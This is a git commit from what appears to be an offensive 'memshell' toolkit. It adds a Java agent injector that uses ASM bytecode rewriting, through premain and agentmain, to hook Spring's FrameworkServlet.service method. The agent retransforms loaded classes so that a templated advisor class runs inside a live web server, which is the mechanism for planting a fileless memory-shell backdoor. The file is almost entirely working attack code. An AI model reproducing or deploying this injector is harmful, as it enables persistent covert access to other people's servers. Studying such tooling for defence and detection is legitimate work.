feat: support other server command agent with asm (#51)

This commit is contained in:
ReaJason
2025-03-30 15:33:31 +08:00
parent 89cd4fef62
commit c93ab0e7e0
28 changed files with 615 additions and 57 deletions
+1
View File
@@ -12,6 +12,7 @@ java {
dependencies {
implementation project(":memshell")
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.springwebmvc.injector;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
private static final String TARGET_METHOD_NAME = "service";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
}
}